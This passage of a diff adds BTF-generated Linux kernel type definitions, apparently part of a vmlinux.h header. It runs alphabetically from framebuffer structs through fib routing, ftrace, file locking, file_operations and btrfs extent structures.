__attribute__((btf_type_tag("user"))) *red; + __u16 __attribute__((btf_type_tag("user"))) *green; + __u16 __attribute__((btf_type_tag("user"))) *blue; + __u16 __attribute__((btf_type_tag("user"))) *transp; +}; + +struct fb_con2fbmap { + __u32 console; + __u32 framebuffer; +}; + +struct fb_copyarea { + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; + __u32 sx; + __u32 sy; +}; + +struct fbcurpos { + __u16 x; + __u16 y; +}; + +struct fb_image { + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; + __u32 fg_color; + __u32 bg_color; + __u8 depth; + const char *data; + struct fb_cmap cmap; +}; + +struct fb_cursor { + __u16 set; + __u16 enable; + __u16 rop; + const char *mask; + struct fbcurpos hot; + struct fb_image image; +}; + +struct fb_cvt_data { + u32 xres; + u32 yres; + u32 refresh; + u32 f_refresh; + u32 pixclock; + u32 hperiod; + u32 hblank; + u32 hfreq; + u32 htotal; + u32 vtotal; + u32 vsync; + u32 hsync; + u32 h_front_porch; + u32 h_back_porch; + u32 v_front_porch; + u32 v_back_porch; + u32 h_margin; + u32 v_margin; + u32 interlace; + u32 aspect_ratio; + u32 active_pixels; + u32 flags; + u32 status; +}; + +struct fb_info; + +struct fb_event { + struct fb_info *info; + void *data; +}; + +struct fb_fillrect { + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; + __u32 color; + __u32 rop; +}; + +struct fb_fix_screeninfo { + char id[16]; + unsigned long smem_start; + __u32 smem_len; + __u32 type; + __u32 type_aux; + __u32 visual; + __u16 xpanstep; + __u16 ypanstep; + __u16 ywrapstep; + __u32 line_length; + unsigned long mmio_start; + __u32 mmio_len; + __u32 accel; + __u16 capabilities; + __u16 reserved[2]; +}; + +struct fb_var_screeninfo { + __u32 xres; + __u32 yres; + __u32 xres_virtual; + __u32 yres_virtual; + __u32 xoffset; + __u32 yoffset; + __u32 bits_per_pixel; + __u32 grayscale; + struct fb_bitfield red; + struct fb_bitfield green; + struct fb_bitfield blue; + struct fb_bitfield transp; + __u32 nonstd; + __u32 activate; + __u32 height; + __u32 width; + __u32 accel_flags; + __u32 pixclock; + __u32 left_margin; + __u32 right_margin; + __u32 upper_margin; + __u32 lower_margin; + __u32 hsync_len; + __u32 vsync_len; + __u32 sync; + __u32 vmode; + __u32 rotate; + __u32 colorspace; + __u32 reserved[4]; +}; + +struct fb_monspecs { + struct fb_chroma chroma; + struct fb_videomode *modedb; + __u8 manufacturer[4]; + __u8 monitor[14]; + __u8 serial_no[14]; + __u8 ascii[14]; + __u32 modedb_len; + __u32 model; + __u32 serial; + __u32 year; + __u32 week; + __u32 hfmin; + __u32 hfmax; + __u32 dclkmin; + __u32 dclkmax; + __u16 input; + __u16 dpms; + __u16 signal; + __u16 vfmin; + __u16 vfmax; + __u16 gamma; + __u16 gtf: 1; + __u16 misc; + __u8 version; + __u8 revision; + __u8 max_x; + __u8 max_y; +}; + +struct fb_pixmap { + u8 *addr; + u32 size; + u32 offset; + u32 buf_align; + u32 scan_align; + u32 access_align; + u32 flags; + unsigned long blit_x[1]; + unsigned long blit_y[2]; + void (*writeio)(struct fb_info *, void *, void *, unsigned int); + void (*readio)(struct fb_info *, void *, void *, unsigned int); +}; + +struct fb_ops; + +struct fb_info { + refcount_t count; + int node; + int flags; + int fbcon_rotate_hint; + struct mutex lock; + struct mutex mm_lock; + struct fb_var_screeninfo var; + struct fb_fix_screeninfo fix; + struct fb_monspecs monspecs; + struct fb_pixmap pixmap; + struct fb_pixmap sprite; + struct fb_cmap cmap; + struct list_head modelist; + struct fb_videomode *mode; + const struct fb_ops *fbops; + struct device *device; + struct device *dev; + int class_flag; + union { + char *screen_base; + char *screen_buffer; + }; + unsigned long screen_size; + void *pseudo_palette; + u32 state; + void *fbcon_par; + void *par; + bool skip_vt_switch; + bool skip_panic; +}; + +struct fb_videomode { + const char *name; + u32 refresh; + u32 xres; + u32 yres; + u32 pixclock; + u32 left_margin; + u32 right_margin; + u32 upper_margin; + u32 lower_margin; + u32 hsync_len; + u32 vsync_len; + u32 sync; + u32 vmode; + u32 flag; +}; + +struct fb_modelist { + struct list_head list; + struct fb_videomode mode; +}; + +struct fb_ops { + struct module *owner; + int (*fb_open)(struct fb_info *, int); + int (*fb_release)(struct fb_info *, int); + ssize_t (*fb_read)(struct fb_info *, char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + ssize_t (*fb_write)(struct fb_info *, const char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + int (*fb_check_var)(struct fb_var_screeninfo *, struct fb_info *); + int (*fb_set_par)(struct fb_info *); + int (*fb_setcolreg)(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, struct fb_info *); + int (*fb_setcmap)(struct fb_cmap *, struct fb_info *); + int (*fb_blank)(int, struct fb_info *); + int (*fb_pan_display)(struct fb_var_screeninfo *, struct fb_info *); + void (*fb_fillrect)(struct fb_info *, const struct fb_fillrect *); + void (*fb_copyarea)(struct fb_info *, const struct fb_copyarea *); + void (*fb_imageblit)(struct fb_info *, const struct fb_image *); + int (*fb_cursor)(struct fb_info *, struct fb_cursor *); + int (*fb_sync)(struct fb_info *); + int (*fb_ioctl)(struct fb_info *, unsigned int, unsigned long); + int (*fb_compat_ioctl)(struct fb_info *, unsigned int, unsigned long); + int (*fb_mmap)(struct fb_info *, struct vm_area_struct *); + void (*fb_get_caps)(struct fb_info *, struct fb_blit_caps *, struct fb_var_screeninfo *); + void (*fb_destroy)(struct fb_info *); + int (*fb_debug_enter)(struct fb_info *); + int (*fb_debug_leave)(struct fb_info *); +}; + +struct fbcon_display { + const u_char *fontdata; + int userfont; + u_short inverse; + short yscroll; + int vrows; + int cursor_shape; + int con_rotate; + u32 xres_virtual; + u32 yres_virtual; + u32 height; + u32 width; + u32 bits_per_pixel; + u32 grayscale; + u32 nonstd; + u32 accel_flags; + u32 rotate; + struct fb_bitfield red; + struct fb_bitfield green; + struct fb_bitfield blue; + struct fb_bitfield transp; + const struct fb_videomode *mode; +}; + +struct fbcon_ops { + void (*bmove)(struct vc_data *, struct fb_info *, int, int, int, int, int, int); + void (*clear)(struct vc_data *, struct fb_info *, int, int, int, int); + void (*putcs)(struct vc_data *, struct fb_info *, const unsigned short *, int, int, int, int, int); + void (*clear_margins)(struct vc_data *, struct fb_info *, int, int); + void (*cursor)(struct vc_data *, struct fb_info *, bool, int, int); + int (*update_start)(struct fb_info *); + int (*rotate_font)(struct fb_info *, struct vc_data *); + struct fb_var_screeninfo var; + struct delayed_work cursor_work; + struct fb_cursor cursor_state; + struct fbcon_display *p; + struct fb_info *info; + int currcon; + int cur_blink_jiffies; + int cursor_flash; + int cursor_reset; + int blank_state; + int graphics; + int save_graphics; + bool initialized; + int rotate; + int cur_rotate; + char *cursor_data; + u8 *fontbuffer; + u8 *fontdata; + u8 *cursor_src; + u32 cursor_size; + u32 fd_size; +}; + +struct fc_log { + refcount_t usage; + u8 head; + u8 tail; + u8 need_free; + struct module *owner; + char *buffer[8]; +}; + +struct fd { + unsigned long word; +}; + +typedef struct fd class_fd_raw_t; + +typedef struct fd class_fd_t; + +struct fd_data { + fmode_t mode; + unsigned int fd; +}; + +struct fdtable { + unsigned int max_fds; + struct file __attribute__((btf_type_tag("rcu"))) **fd; + unsigned long *close_on_exec; + unsigned long *open_fds; + unsigned long *full_fds_bits; + struct callback_head rcu; +}; + +struct features_reply_data { + struct ethnl_reply_data base; + u32 hw[2]; + u32 wanted[2]; + u32 active[2]; + u32 nochange[2]; + u32 all[2]; +}; + +struct fec_stat_grp { + u64 stats[9]; + u8 cnt; +}; + +struct fec_reply_data { + struct ethnl_reply_data base; + unsigned long fec_link_modes[2]; + u32 active_fec; + u8 fec_auto; + struct fec_stat_grp corr; + struct fec_stat_grp uncorr; + struct fec_stat_grp corr_bits; +}; + +struct fetch_insn { + enum fetch_op op; + union { + unsigned int param; + struct { + unsigned int size; + int offset; + }; + struct { + unsigned char basesize; + unsigned char lshift; + unsigned char rshift; + }; + unsigned long immediate; + void *data; + }; +}; + +struct trace_seq; + +typedef int (*print_type_func_t)(struct trace_seq *, void *, void *); + +struct fetch_type { + const char *name; + size_t size; + bool is_signed; + bool is_string; + print_type_func_t print; + const char *fmt; + const char *fmttype; +}; + +struct ff_condition_effect { + __u16 right_saturation; + __u16 left_saturation; + __s16 right_coeff; + __s16 left_coeff; + __u16 deadband; + __s16 center; +}; + +struct ff_envelope { + __u16 attack_length; + __u16 attack_level; + __u16 fade_length; + __u16 fade_level; +}; + +struct ff_constant_effect { + __s16 level; + struct ff_envelope envelope; +}; + +struct ff_effect; + +struct ff_device { + int (*upload)(struct input_dev *, struct ff_effect *, struct ff_effect *); + int (*erase)(struct input_dev *, int); + int (*playback)(struct input_dev *, int, int); + void (*set_gain)(struct input_dev *, u16); + void (*set_autocenter)(struct input_dev *, u16); + void (*destroy)(struct ff_device *); + void *private; + unsigned long ffbit[2]; + struct mutex mutex; + int max_effects; + struct ff_effect *effects; + struct file *effect_owners[0]; +}; + +struct ff_trigger { + __u16 button; + __u16 interval; +}; + +struct ff_replay { + __u16 length; + __u16 delay; +}; + +struct ff_ramp_effect { + __s16 start_level; + __s16 end_level; + struct ff_envelope envelope; +}; + +struct ff_periodic_effect { + __u16 waveform; + __u16 period; + __s16 magnitude; + __s16 offset; + __u16 phase; + struct ff_envelope envelope; + __u32 custom_len; + __s16 __attribute__((btf_type_tag("user"))) *custom_data; +}; + +struct ff_rumble_effect { + __u16 strong_magnitude; + __u16 weak_magnitude; +}; + +struct ff_effect { + __u16 type; + __s16 id; + __u16 direction; + struct ff_trigger trigger; + struct ff_replay replay; + union { + struct ff_constant_effect constant; + struct ff_ramp_effect ramp; + struct ff_periodic_effect periodic; + struct ff_condition_effect condition[2]; + struct ff_rumble_effect rumble; + } u; +}; + +struct fgraph_cpu_data { + pid_t last_pid; + int depth; + int depth_irq; + int ignore; + unsigned long enter_funcs[50]; +}; + +struct ftrace_graph_ent { + unsigned long func; + int depth; +} __attribute__((packed)); + +struct ftrace_graph_ent_entry { + struct trace_entry ent; + struct ftrace_graph_ent graph_ent; +}; + +struct ftrace_graph_ret { + unsigned long func; + int depth; + unsigned int overrun; + unsigned long long calltime; + unsigned long long rettime; +}; + +struct ftrace_graph_ret_entry { + struct trace_entry ent; + struct ftrace_graph_ret ret; +}; + +struct fgraph_data { + struct fgraph_cpu_data __attribute__((btf_type_tag("percpu"))) *cpu_data; + struct ftrace_graph_ent_entry ent; + struct ftrace_graph_ret_entry ret; + int failed; + int cpu; + long: 0; +} __attribute__((packed)); + +struct fgraph_ops; + +typedef int (*trace_func_graph_ent_t)(struct ftrace_graph_ent *, struct fgraph_ops *); + +typedef void (*trace_func_graph_ret_t)(struct ftrace_graph_ret *, struct fgraph_ops *); + +struct ftrace_regs; + +typedef void (*ftrace_func_t)(unsigned long, unsigned long, struct ftrace_ops *, struct ftrace_regs *); + +struct ftrace_hash; + +struct ftrace_ops_hash { + struct ftrace_hash __attribute__((btf_type_tag("rcu"))) *notrace_hash; + struct ftrace_hash __attribute__((btf_type_tag("rcu"))) *filter_hash; + struct mutex regex_lock; +}; + +typedef int (*ftrace_ops_func_t)(struct ftrace_ops *, enum ftrace_ops_cmd); + +struct ftrace_ops { + ftrace_func_t func; + struct ftrace_ops __attribute__((btf_type_tag("rcu"))) *next; + unsigned long flags; + void *private; + ftrace_func_t saved_func; + struct ftrace_ops_hash local_hash; + struct ftrace_ops_hash *func_hash; + struct ftrace_ops_hash old_hash; + unsigned long trampoline; + unsigned long trampoline_size; + struct list_head list; + struct list_head subop_list; + ftrace_ops_func_t ops_func; + struct ftrace_ops *managed; + unsigned long direct_call; +}; + +struct fgraph_ops { + trace_func_graph_ent_t entryfunc; + trace_func_graph_ret_t retfunc; + struct ftrace_ops ops; + void *private; + trace_func_graph_ent_t saved_func; + int idx; +}; + +struct fgraph_ret_regs { + unsigned long ax; + unsigned long dx; + unsigned long bp; +}; + +struct fib6_node; + +struct fib6_walker { + struct list_head lh; + struct fib6_node *root; + struct fib6_node *node; + struct fib6_info *leaf; + enum fib6_walk_state state; + unsigned int skip; + unsigned int count; + unsigned int skip_in_node; + int (*func)(struct fib6_walker *); + void *args; +}; + +struct fib6_cleaner { + struct fib6_walker w; + struct net *net; + int (*func)(struct fib6_info *, void *); + int sernum; + void *arg; + bool skip_notify; +}; + +struct nlmsghdr; + +struct nl_info { + struct nlmsghdr *nlh; + struct net *nl_net; + u32 portid; + u8 skip_notify: 1; + u8 skip_notify_kernel: 1; +}; + +struct fib6_config { + u32 fc_table; + u32 fc_metric; + int fc_dst_len; + int fc_src_len; + int fc_ifindex; + u32 fc_flags; + u32 fc_protocol; + u16 fc_type; + u16 fc_delete_all_nh: 1; + u16 fc_ignore_dev_down: 1; + u16 __unused: 14; + u32 fc_nh_id; + struct in6_addr fc_dst; + struct in6_addr fc_src; + struct in6_addr fc_prefsrc; + struct in6_addr fc_gateway; + unsigned long fc_expires; + struct nlattr *fc_mx; + int fc_mx_len; + int fc_mp_len; + struct nlattr *fc_mp; + struct nl_info fc_nlinfo; + struct nlattr *fc_encap; + u16 fc_encap_type; + bool fc_is_fdb; +}; + +struct fib6_dump_arg { + struct net *net; + struct notifier_block *nb; + struct netlink_ext_ack *extack; +}; + +struct fib_notifier_info { + int family; + struct netlink_ext_ack *extack; +}; + +struct fib6_entry_notifier_info { + struct fib_notifier_info info; + struct fib6_info *rt; + unsigned int nsiblings; +}; + +struct fib6_gc_args { + int timeout; + int more; +}; + +struct rt6key { + struct in6_addr addr; + int plen; +}; + +struct rtable; + +struct fnhe_hash_bucket; + +struct fib_nh_common { + struct net_device *nhc_dev; + netdevice_tracker nhc_dev_tracker; + int nhc_oif; + unsigned char nhc_scope; + u8 nhc_family; + u8 nhc_gw_family; + unsigned char nhc_flags; + struct lwtunnel_state *nhc_lwtstate; + union { + __be32 ipv4; + struct in6_addr ipv6; + } nhc_gw; + int nhc_weight; + atomic_t nhc_upper_bound; + struct rtable __attribute__((btf_type_tag("rcu"))) * __attribute__((btf_type_tag("percpu"))) *nhc_pcpu_rth_output; + struct rtable __attribute__((btf_type_tag("rcu"))) *nhc_rth_input; + struct fnhe_hash_bucket __attribute__((btf_type_tag("rcu"))) *nhc_exceptions; +}; + +struct rt6_info; + +struct rt6_exception_bucket; + +struct fib6_nh { + struct fib_nh_common nh_common; + struct rt6_info * __attribute__((btf_type_tag("percpu"))) *rt6i_pcpu; + struct rt6_exception_bucket __attribute__((btf_type_tag("rcu"))) *rt6i_exception_bucket; +}; + +struct fib6_table; + +struct nexthop; + +struct fib6_info { + struct fib6_table *fib6_table; + struct fib6_info __attribute__((btf_type_tag("rcu"))) *fib6_next; + struct fib6_node __attribute__((btf_type_tag("rcu"))) *fib6_node; + union { + struct list_head fib6_siblings; + struct list_head nh_list; + }; + unsigned int fib6_nsiblings; + refcount_t fib6_ref; + unsigned long expires; + struct hlist_node gc_link; + struct dst_metrics *fib6_metrics; + struct rt6key fib6_dst; + u32 fib6_flags; + struct rt6key fib6_src; + struct rt6key fib6_prefsrc; + u32 fib6_metric; + u8 fib6_protocol; + u8 fib6_type; + u8 offload; + u8 trap; + u8 offload_failed; + u8 should_flush: 1; + u8 dst_nocount: 1; + u8 dst_nopolicy: 1; + u8 fib6_destroying: 1; + u8 unused: 4; + struct callback_head rcu; + struct nexthop *nh; + struct fib6_nh fib6_nh[0]; +}; + +struct fib6_nh_age_excptn_arg { + struct fib6_gc_args *gc_args; + unsigned long now; +}; + +struct fib6_nh_del_cached_rt_arg { + struct fib6_config *cfg; + struct fib6_info *f6i; +}; + +struct fib6_nh_dm_arg { + struct net *net; + const struct in6_addr *saddr; + int oif; + int flags; + struct fib6_nh *nh; +}; + +struct rt6_rtnl_dump_arg; + +struct fib6_nh_exception_dump_walker { + struct rt6_rtnl_dump_arg *dump; + struct fib6_info *rt; + unsigned int flags; + unsigned int skip; + unsigned int count; +}; + +struct fib6_nh_excptn_arg { + struct rt6_info *rt; + int plen; +}; + +struct fib6_nh_frl_arg { + u32 flags; + int oif; + int strict; + int *mpri; + bool *do_rr; + struct fib6_nh *nh; +}; + +struct fib6_nh_match_arg { + const struct net_device *dev; + const struct in6_addr *gw; + struct fib6_nh *match; +}; + +struct fib6_nh_pcpu_arg { + struct fib6_info *from; + const struct fib6_table *table; +}; + +struct fib6_result; + +struct flowi6; + +struct fib6_nh_rd_arg { + struct fib6_result *res; + struct flowi6 *fl6; + const struct in6_addr *gw; + struct rt6_info **ret; +}; + +struct fib6_node { + struct fib6_node __attribute__((btf_type_tag("rcu"))) *parent; + struct fib6_node __attribute__((btf_type_tag("rcu"))) *left; + struct fib6_node __attribute__((btf_type_tag("rcu"))) *right; + struct fib6_info __attribute__((btf_type_tag("rcu"))) *leaf; + __u16 fn_bit; + __u16 fn_flags; + int fn_sernum; + struct fib6_info __attribute__((btf_type_tag("rcu"))) *rr_ptr; + struct callback_head rcu; +}; + +struct fib6_result { + struct fib6_nh *nh; + struct fib6_info *f6i; + u32 fib6_flags; + u8 fib6_type; + struct rt6_info *rt6; +}; + +struct inet_peer_base { + struct rb_root rb_root; + seqlock_t lock; + int total; +}; + +struct fib6_table { + struct hlist_node tb6_hlist; + u32 tb6_id; + spinlock_t tb6_lock; + struct fib6_node tb6_root; + struct inet_peer_base tb6_peers; + unsigned int flags; + unsigned int fib_seq; + struct hlist_head tb6_gc_hlist; +}; + +struct fib_info; + +struct fib_alias { + struct hlist_node fa_list; + struct fib_info *fa_info; + dscp_t fa_dscp; + u8 fa_type; + u8 fa_state; + u8 fa_slen; + u32 tb_id; + s16 fa_default; + u8 offload; + u8 trap; + u8 offload_failed; + struct callback_head rcu; +}; + +struct rtnexthop; + +struct fib_config { + u8 fc_dst_len; + dscp_t fc_dscp; + u8 fc_protocol; + u8 fc_scope; + u8 fc_type; + u8 fc_gw_family; + u32 fc_table; + __be32 fc_dst; + union { + __be32 fc_gw4; + struct in6_addr fc_gw6; + }; + int fc_oif; + u32 fc_flags; + u32 fc_priority; + __be32 fc_prefsrc; + u32 fc_nh_id; + struct nlattr *fc_mx; + struct rtnexthop *fc_mp; + int fc_mx_len; + int fc_mp_len; + u32 fc_flow; + u32 fc_nlflags; + struct nl_info fc_nlinfo; + struct nlattr *fc_encap; + u16 fc_encap_type; +}; + +struct fib_dump_filter { + u32 table_id; + bool filter_set; + bool dump_routes; + bool dump_exceptions; + bool rtnl_held; + unsigned char protocol; + unsigned char rt_type; + unsigned int flags; + struct net_device *dev; +}; + +struct fib_entry_notifier_info { + struct fib_notifier_info info; + u32 dst; + int dst_len; + struct fib_info *fi; + dscp_t dscp; + u8 type; + u32 tb_id; +}; + +struct fib_nh { + struct fib_nh_common nh_common; + struct hlist_node nh_hash; + struct fib_info *nh_parent; + __be32 nh_saddr; + int nh_saddr_genid; +}; + +struct fib_info { + struct hlist_node fib_hash; + struct hlist_node fib_lhash; + struct list_head nh_list; + struct net *fib_net; + refcount_t fib_treeref; + refcount_t fib_clntref; + unsigned int fib_flags; + unsigned char fib_dead; + unsigned char fib_protocol; + unsigned char fib_scope; + unsigned char fib_type; + __be32 fib_prefsrc; + u32 fib_tb_id; + u32 fib_priority; + struct dst_metrics *fib_metrics; + int fib_nhs; + bool fib_nh_is_v6; + bool nh_updated; + bool pfsrc_removed; + struct nexthop *nh; + struct callback_head rcu; + struct fib_nh fib_nh[0]; +}; + +struct fib_nh_exception { + struct fib_nh_exception __attribute__((btf_type_tag("rcu"))) *fnhe_next; + int fnhe_genid; + __be32 fnhe_daddr; + u32 fnhe_pmtu; + bool fnhe_mtu_locked; + __be32 fnhe_gw; + unsigned long fnhe_expires; + struct rtable __attribute__((btf_type_tag("rcu"))) *fnhe_rth_input; + struct rtable __attribute__((btf_type_tag("rcu"))) *fnhe_rth_output; + unsigned long fnhe_stamp; + struct callback_head rcu; +}; + +struct fib_nh_notifier_info { + struct fib_notifier_info info; + struct fib_nh *fib_nh; +}; + +struct fib_notifier_net { + struct list_head fib_notifier_ops; + struct atomic_notifier_head fib_chain; +}; + +struct fib_notifier_ops { + int family; + struct list_head list; + unsigned int (*fib_seq_read)(struct net *); + int (*fib_dump)(struct net *, struct notifier_block *, struct netlink_ext_ack *); + struct module *owner; + struct callback_head rcu; +}; + +struct fib_prop { + int error; + u8 scope; +}; + +struct fib_table; + +struct fib_result { + __be32 prefix; + unsigned char prefixlen; + unsigned char nh_sel; + unsigned char type; + unsigned char scope; + u32 tclassid; + dscp_t dscp; + struct fib_nh_common *nhc; + struct fib_info *fi; + struct fib_table *table; + struct hlist_head *fa_head; +}; + +struct fib_result_nl { + __be32 fl_addr; + u32 fl_mark; + unsigned char fl_tos; + unsigned char fl_scope; + unsigned char tb_id_in; + unsigned char tb_id; + unsigned char prefixlen; + unsigned char nh_sel; + unsigned char type; + unsigned char scope; + int err; +}; + +struct key_vector; + +struct fib_route_iter { + struct seq_net_private p; + struct fib_table *main_tb; + struct key_vector *tnode; + loff_t pos; + t_key key; +}; + +struct fib_rt_info { + struct fib_info *fi; + u32 tb_id; + __be32 dst; + int dst_len; + dscp_t dscp; + u8 type; + u8 offload: 1; + u8 trap: 1; + u8 offload_failed: 1; + u8 unused: 5; +}; + +struct fib_table { + struct hlist_node tb_hlist; + u32 tb_id; + int tb_num_default; + struct callback_head rcu; + unsigned long *tb_data; + unsigned long __data[0]; +}; + +struct fib_trie_iter { + struct seq_net_private p; + struct fib_table *tb; + struct key_vector *tnode; + unsigned int index; + unsigned int depth; +}; + +struct fid { + union { + struct { + u32 ino; + u32 gen; + u32 parent_ino; + u32 parent_gen; + } i32; + struct { + u64 ino; + u32 gen; + } __attribute__((packed)) i64; + struct { + u32 block; + u16 partref; + u16 parent_partref; + u32 generation; + u32 parent_block; + u32 parent_generation; + } udf; + struct { + struct {} __empty_raw; + __u32 raw[0]; + }; + }; +}; + +struct field_var { + struct hist_field *var; + struct hist_field *val; +}; + +struct field_var_hist { + struct hist_trigger_data *hist_data; + char *cmd; +}; + +struct fiemap_extent { + __u64 fe_logical; + __u64 fe_physical; + __u64 fe_length; + __u64 fe_reserved64[2]; + __u32 fe_flags; + __u32 fe_reserved[3]; +}; + +struct fiemap { + __u64 fm_start; + __u64 fm_length; + __u32 fm_flags; + __u32 fm_mapped_extents; + __u32 fm_extent_count; + __u32 fm_reserved; + struct fiemap_extent fm_extents[0]; +}; + +struct fiemap_cache { + struct btrfs_fiemap_entry *entries; + int entries_size; + int entries_pos; + u64 next_search_offset; + unsigned int extents_mapped; + u64 offset; + u64 phys; + u64 len; + u32 flags; + bool cached; +}; + +struct fiemap_extent_info { + unsigned int fi_flags; + unsigned int fi_extents_mapped; + unsigned int fi_extents_max; + struct fiemap_extent __attribute__((btf_type_tag("user"))) *fi_extents_start; +}; + +struct file__safe_trusted { + struct inode *f_inode; +}; + +struct file_clone_range { + __s64 src_fd; + __u64 src_offset; + __u64 src_length; + __u64 dest_offset; +}; + +struct file_dedupe_range_info { + __s64 dest_fd; + __u64 dest_offset; + __u64 bytes_deduped; + __s32 status; + __u32 reserved; +}; + +struct file_dedupe_range { + __u64 src_offset; + __u64 src_length; + __u16 dest_count; + __u16 reserved1; + __u32 reserved2; + struct file_dedupe_range_info info[0]; +}; + +struct file_extent_cluster { + u64 start; + u64 end; + u64 boundary[128]; + unsigned int nr; + u64 owning_root; +}; + +struct file_handle { + __u32 handle_bytes; + int handle_type; + unsigned char f_handle[0]; +}; + +struct file_lock_core { + struct file_lock_core *flc_blocker; + struct list_head flc_list; + struct hlist_node flc_link; + struct list_head flc_blocked_requests; + struct list_head flc_blocked_member; + fl_owner_t flc_owner; + unsigned int flc_flags; + unsigned char flc_type; + pid_t flc_pid; + int flc_link_cpu; + wait_queue_head_t flc_wait; + struct file *flc_file; +}; + +struct lease_manager_operations; + +struct file_lease { + struct file_lock_core c; + struct fasync_struct *fl_fasync; + unsigned long fl_break_time; + unsigned long fl_downgrade_time; + const struct lease_manager_operations *fl_lmops; +}; + +struct nlm_lockowner; + +struct nfs_lock_info { + u32 state; + struct nlm_lockowner *owner; + struct list_head list; +}; + +struct nfs4_lock_state; + +struct nfs4_lock_info { + struct nfs4_lock_state *owner; +}; + +struct file_lock_operations; + +struct lock_manager_operations; + +struct file_lock { + struct file_lock_core c; + loff_t fl_start; + loff_t fl_end; + const struct file_lock_operations *fl_ops; + const struct lock_manager_operations *fl_lmops; + union { + struct nfs_lock_info nfs_fl; + struct nfs4_lock_info nfs4_fl; + struct { + struct list_head link; + int state; + unsigned int debug_id; + } afs; + struct { + struct inode *inode; + } ceph; + } fl_u; +}; + +struct file_lock_context { + spinlock_t flc_lock; + struct list_head flc_flock; + struct list_head flc_posix; + struct list_head flc_lease; +}; + +struct file_lock_list_struct { + spinlock_t lock; + struct hlist_head hlist; +}; + +struct file_lock_operations { + void (*fl_copy_lock)(struct file_lock *, struct file_lock *); + void (*fl_release_private)(struct file_lock *); +}; + +struct io_uring_cmd; + +struct file_operations { + struct module *owner; + fop_flags_t fop_flags; + loff_t (*llseek)(struct file *, loff_t, int); + ssize_t (*read)(struct file *, char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + ssize_t (*write)(struct file *, const char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + ssize_t (*read_iter)(struct kiocb *, struct iov_iter *); + ssize_t (*write_iter)(struct kiocb *, struct iov_iter *); + int (*iopoll)(struct kiocb *, struct io_comp_batch *, unsigned int); + int (*iterate_shared)(struct file *, struct dir_context *); + __poll_t (*poll)(struct file *, struct poll_table_struct *); + long (*unlocked_ioctl)(struct file *, unsigned int, unsigned long); + long (*compat_ioctl)(struct file *, unsigned int, unsigned long); + int (*mmap)(struct file *, struct vm_area_struct *); + int (*open)(struct inode *, struct file *); + int (*flush)(struct file *, fl_owner_t); + int (*release)(struct inode *, struct file *); + int (*fsync)(struct file *, loff_t, loff_t, int); + int (*fasync)(int, struct file *, int); + int (*lock)(struct file *, int, struct file_lock *); + unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); + int (*check_flags)(int); + int (*flock)(struct file *, int, struct file_lock *); + ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); + ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); + void (*splice_eof)(struct file *); + int (*setlease)(struct file *, int, struct file_lease **, void **); + long (*fallocate)(struct file *, int, loff_t, loff_t); + void (*show_fdinfo)(struct seq_file *, struct file *); + ssize_t (*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int); + loff_t (*remap_file_range)(struct file *, loff_t, struct file *, loff_t, loff_t, unsigned int); + int (*fadvise)(struct file *, loff_t, loff_t, int); + int (*uring_cmd)(struct io_uring_cmd *, unsigned int); + int (*uring_cmd_iopoll)(struct io_uring_cmd *, struct io_comp_batch *, unsigned int); +}; + +struct page_counter; + +struct file_region { + struct list_head link; + long from; + long to; + struct page_counter *reservation_counter; + struct cgroup_subsys_state *css; +}; + +struct fs_context; + +struct fs_parameter_spec; + +struct file_system_type { + const char *name; + int fs_flags; + int (*init_fs_context)(struct fs_context *); + const struct fs_parameter_spec *parameters; + struct dentry * (*mount)(struct file_system_type *, int, const char *, void *); + void (*kill_sb)(struct super_block *); + struct module *owner; + struct file_system_type *next; + struct hlist_head fs_supers; + struct lock_class_key s_lock_key; + struct lock_class_key s_umount_key; + struct lock_class_key s_vfs_rename_key; + struct lock_class_key s_writers_key[3]; + struct lock_class_key i_lock_key; + struct lock_class_key i_mutex_key; + struct lock_class_key invalidate_lock_key; + struct lock_class_key i_mutex_dir_key; +}; + +struct fileattr { + u32 flags; + u32 fsx_xflags; + u32 fsx_extsize; + u32 fsx_nextents; + u32 fsx_projid; + u32 fsx_cowextsize; + bool flags_valid: 1; + bool fsx_valid: 1; +}; + +struct audit_names; + +struct filename { + const char *name; + const char __attribute__((btf_type_tag("user"))) *uptr; + atomic_t refcnt; + struct audit_names *aname; + const char iname[0]; +}; + +struct files_stat_struct { + unsigned long nr_files; + unsigned long nr_free_files; + unsigned long max_files; +}; + +struct files_struct { + atomic_t count; + bool resize_in_progress; + wait_queue_head_t resize_wait; + struct fdtable __attribute__((btf_type_tag("rcu"))) *fdt; + struct fdtable fdtab; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t file_lock; + unsigned int next_fd; + unsigned long close_on_exec_init[1]; + unsigned long open_fds_init[1]; + unsigned long full_fds_bits_init[1]; + struct file __attribute__((btf_type_tag("rcu"))) *fd_array[64]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct fils_discovery_data { + struct callback_head callback_head; + int len; + u8 data[0]; +}; + +struct filter_list { + struct list_head list; + struct event_filter *filter; +}; + +struct filter_parse_error { + int lasterr; + int lasterr_pos; +}; + +struct regex; + +struct ftrace_event_field; + +struct filter_pred { + struct regex *regex; + struct cpumask *mask; + unsigned short *ops; + struct ftrace_event_field *field; + u64 val; + u64 val2; + enum filter_pred_fn fn_num; + int offset; + int not; + int op; +}; + +struct find_child_walk_data { + struct acpi_device *adev; + u64 address; + int score; + bool check_sta; + bool check_children; +}; + +struct find_free_extent_ctl { + u64 ram_bytes; + u64 num_bytes; + u64 min_alloc_size; + u64 empty_size; + u64 flags; + int delalloc; + u64 search_start; + u64 empty_cluster; + struct btrfs_free_cluster *last_ptr; + bool use_cluster; + bool have_caching_bg; + bool orig_have_caching_bg; + bool for_treelog; + bool for_data_reloc; + int index; + int loop; + bool retry_uncached; + int cached; + u64 max_extent_size; + u64 total_free_space; + u64 found_offset; + u64 hint_byte; + enum btrfs_extent_allocation_policy policy; + bool hinted; + enum btrfs_block_group_size_class size_class; +}; + +struct 